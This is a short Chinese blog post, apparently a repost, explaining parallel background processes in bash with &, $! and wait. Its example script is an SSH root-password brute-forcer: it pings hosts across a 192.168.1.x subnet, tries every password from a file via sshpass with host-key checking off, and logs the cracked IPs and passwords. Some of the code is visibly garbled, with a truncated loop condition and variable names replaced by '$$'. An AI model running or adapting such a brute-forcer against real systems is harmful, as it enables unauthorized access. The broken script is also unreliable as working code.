shell并行进程写法

01、说明

shell多进程写法很简单,其实就是将子进程放入后台。大致可以分为3步:

1、()启动子进程,并放入后台

2、记录子进程pid

3、用wait等待所有子进程结束

02、下面脚本演示了shell并行进程写法

#!/bin/bash

pidlist=()

ip="192.168.1."

for ((i=1; i

do

(echo "检测IP:"$$ #1、启动子进程,并放入后台

ping -c 2 $$ > /dev/null

if [ $? == 0 ]

then

for passwd in $(cat ./passwd)

do

echo "正在枚举IP:"$$

sshpass -p $passwd ssh -o StrictHostKeyChecking=no root@$$ pwd

if [ $? == 0 ]

then

echo $--$$ >> ip.txt

break

else

echo "枚举失败"

echo "---------------------------------"

fi

done

fi

)& #将子进程放入后台运行

pidlist+=("$!")#2、记录子进程pid

done

wait $#3、等待所有子进程结束

03、总结

我们利用了shell的操作符&,它使得shell将命令置于后台并继续执行脚本。这意味着一旦循环结束,脚本就会退出,而子进程仍在后台运行。为了避免这种情况,我们使用$!来获得进程的PID,在shell中, $!保存着最近一个后台进程的PID。我们将这些PID放入数组,然后使用wait命令等待这些进程结束。

  • 发表于:
  • 原文链接https://kuaibao.qq.com/s/20181219G12W0000?refer=cp_1026
  • 腾讯「云+社区」是腾讯内容开放平台帐号(企鹅号)传播渠道之一,根据《腾讯内容开放平台服务协议》转载发布内容。

扫码关注云+社区

领取腾讯云代金券